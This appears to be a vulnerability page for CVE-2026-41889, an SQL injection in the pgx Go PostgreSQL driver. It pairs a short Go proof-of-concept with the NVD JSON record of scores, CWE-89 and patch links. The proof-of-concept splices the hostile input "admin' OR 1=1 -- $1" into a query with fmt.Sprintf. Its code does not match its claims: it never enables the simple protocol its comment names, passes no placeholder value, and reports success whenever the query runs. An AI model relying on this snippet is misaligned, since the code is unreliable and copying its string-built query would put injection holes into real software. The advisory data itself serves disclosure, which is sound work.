CVE-2026-41889

package main import ( "context" "fmt" "github.com/jackc/pgx/v5" ) func main() { // Vulnerable scenario: pgx < 5.9.2 using simple protocol connStr := "postgres://user:password@localhost/testdb" conn, err := pgx.Connect(context.Background(), connStr) if err != nil { panic(err) } defer conn.Close(context.Background()) // User input containing placeholder-like syntax attackerInput := "admin' OR 1=1 -- $1" // Vulnerable query construction using dollar quoting // In simple protocol, the parser may mishandle the input inside $$ query := fmt.Sprintf("SELECT * FROM users WHERE name = $$%s$$", attackerInput) // Execution rows, err := conn.Query(context.Background(), query) if err != nil { fmt.Println("Injection failed or error:", err) } else { fmt.Println("Potential SQL Injection successful") rows.Close() } }

{"cve": {"id": "CVE-2026-41889", "sourceIdentifier": "[email protected]", "published": "2026-05-08T17:16:31.040", "lastModified": "2026-05-21T19:58:12.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pgx is a PostgreSQL driver and toolkit for Go. Prior to version 5.9.2, SQL injection can occur when the non-default simple protocol is used, a dollar quoted string literal is used in the SQL query, that string literal contains text that would be would be interpreted as a placeholder outside of a string literal, and the value of that placeholder is controllable by the attacker. This issue has been patched in version 5.9.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jackc:pgx:*:*:*:*:*:go:*:*", "versionEndExcluding": "5.9.2", "matchCriteriaId": "3183A68D-CD63-4678-9310-13BEB97F3112"}]}]}], "references": [{"url": "https://github.com/jackc/pgx/commit/60644f84918a8af66d14a4b0d865d4edafd955da", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/jackc/pgx/releases/tag/v5.9.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/jackc/pgx/security/advisories/GHSA-j88v-2chj-qfwx", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}